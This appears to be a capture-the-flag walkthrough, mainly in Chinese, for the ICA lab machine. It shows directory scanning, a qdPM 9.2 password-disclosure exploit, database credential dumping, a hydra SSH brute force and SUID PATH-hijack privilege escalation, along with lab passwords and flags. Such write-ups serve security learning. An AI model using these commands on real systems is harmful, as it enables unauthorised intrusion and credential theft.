According to information from our intelligence network, ICA is working on a secret project. We need to find out what the project is. Once you have the access information, send them to us. We will place a backdoor to access the system later. You just focus on what the project is. You will probably have to go through several layers of security. The Agency has full confidence that you will successfully complete this mission. Good Luck, Agent!
根据我们情报网的信息,ICA正在进行一个秘密项目。我们得弄清楚这个项目是什么。一旦你有了访问信息,把它们发给我们。稍后我们将设置后门以访问系统。你只需要专注于项目本身。您可能需要通过几层安全检查。本机构完全相信你会成功地完成这项任务。祝你好运,特工!
1.信息搜集
使用nmap进行域内存活主机扫描
找到target ip ,继续进行开放端口扫描
开放了22(ssh)、80(http)、3306(mysql),用浏览器进行访问
是一个qbPM9.2的登陆页面,继续进行敏感目录扫描
2.数据库
2.1目录扫描(法1)
dirb [http://192.168.43.111/](http://192.168.43.111/)
找到很多目录,进行尝试访问,
最终在*/core/config,下发现数据库配置文件
成功找到数据库用户名qdpmadmin
、密码UcVQCMQk2STVeS6J
2.2 查找系统漏洞(法2)
searchsploit qdPM 9.2
找到两个,咱们用 密码暴露 这个
密码在一个yml文件里,访问这个地址就可以下载
同样找到了数据库用户名和密码
3.获取ssh的用户名密码
登陆数据库mysql -uqdpmadmin -pUcVQCMQk2STVeS6J -h 192.168.43.111
使用staff数据库use staff;
查看表show tables;
列出user表select * from user;
列出login表select * from login;
login表就应该是对应的密码,base64加密,把密码解密,并且把用户和密码保存的两个文件里
解密网站
4.hydra爆破ssh
hydra -L users -P passwords ssh://192.168.43.111
爆破出两个ssh用户
login: travis password: DJceVy98W28Y7wLg
login: dexter password: 7ZwV4qtg42cmUXGX
5.提权
分别登陆
travis用户下有一个flagICA{Secret_Project}
但不是root用户的,而且也不可以提权
尝试另一个用户dexter
It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.
在我看来,在进入系统时有一个弱点。据我所知,可执行文件的内容是部分可见的。我需要知道这里是否有漏洞。
这里说到可执行文件,查找有root权限的可执行文件,经过甄别,第一个最可疑find / -perm -u=s -type f 2>/dev/null
进入目录,strings 这个文件
查看到可疑命令
cat 命令不可以使用,尝试伪造一个cat命令
新建cat命令echo "/bin/bash" > /tmp/cat
添加环境变量export PATH=/tmp:$PATH
查看是否写入成功echo $PATH
查看cat文件
发现没有执行权限,添加执行权限
执行 二进制文件
6.root_flag
ICA{Next_Generation_Self_Renewable_Genetics}